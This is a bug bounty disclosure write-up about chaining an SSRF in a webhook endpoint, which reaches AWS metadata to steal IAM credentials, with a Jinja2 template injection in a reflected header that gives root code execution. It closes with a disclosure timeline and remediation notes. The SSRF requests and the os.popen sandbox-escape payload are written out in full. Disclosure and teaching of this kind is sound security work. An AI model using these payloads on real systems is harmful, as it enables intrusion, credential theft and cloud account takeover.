Overview
During a private bug bounty engagement I came across a web application that exposed two separate vulnerabilities which, when chained together, allowed unauthenticated remote code execution on the backend server. This write-up walks through the full discovery and exploitation chain.
Reconnaissance
Initial enumeration revealed a webhook configuration endpoint at /api/v2/integrations/webhook that accepted a user-supplied URL. Supplying an internal IP showed the server fetching the resource — a clear SSRF primitive.
GET /api/v2/integrations/webhook?url=http://169.254.169.254/latest/meta-data/
Host: target.example.com
HTTP/1.1 200 OK
{"data": "ami-id\nami-launch-index\nami-manifest-path\nhostname\n..."}
Escalating SSRF to Internal Metadata
Using the SSRF I was able to reach the AWS EC2 metadata service and extract the IAM role credentials assigned to the instance.
GET /api/v2/integrations/webhook?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-role
...
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "..."
}
Finding the SSTI
A separate endpoint accepted a X-Forwarded-Host header that was reflected into an email template. Testing with a basic Jinja2 payload confirmed template injection:
X-Forwarded-Host: {{7*7}}
# Response contained: 49 in the rendered email body
Achieving RCE
With Jinja2 confirmed, I used a standard sandbox-escape payload to execute system commands:
X-Forwarded-Host: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Impact
Pre-authenticated RCE as root. Combined with the IAM credentials from the SSRF, this gave complete control of both the application server and the associated AWS account.
Timeline
- 2025-02-14 — Vulnerability discovered
- 2025-02-15 — Reported to vendor via bug bounty platform
- 2025-03-01 — Patch deployed by vendor
- 2025-03-12 — Public disclosure
Remediation
The vendor addressed both issues: SSRF was mitigated by implementing an allowlist for webhook URLs and blocking metadata IP ranges. The SSTI was fixed by switching to a sandboxed template renderer that does not allow access to Python internals.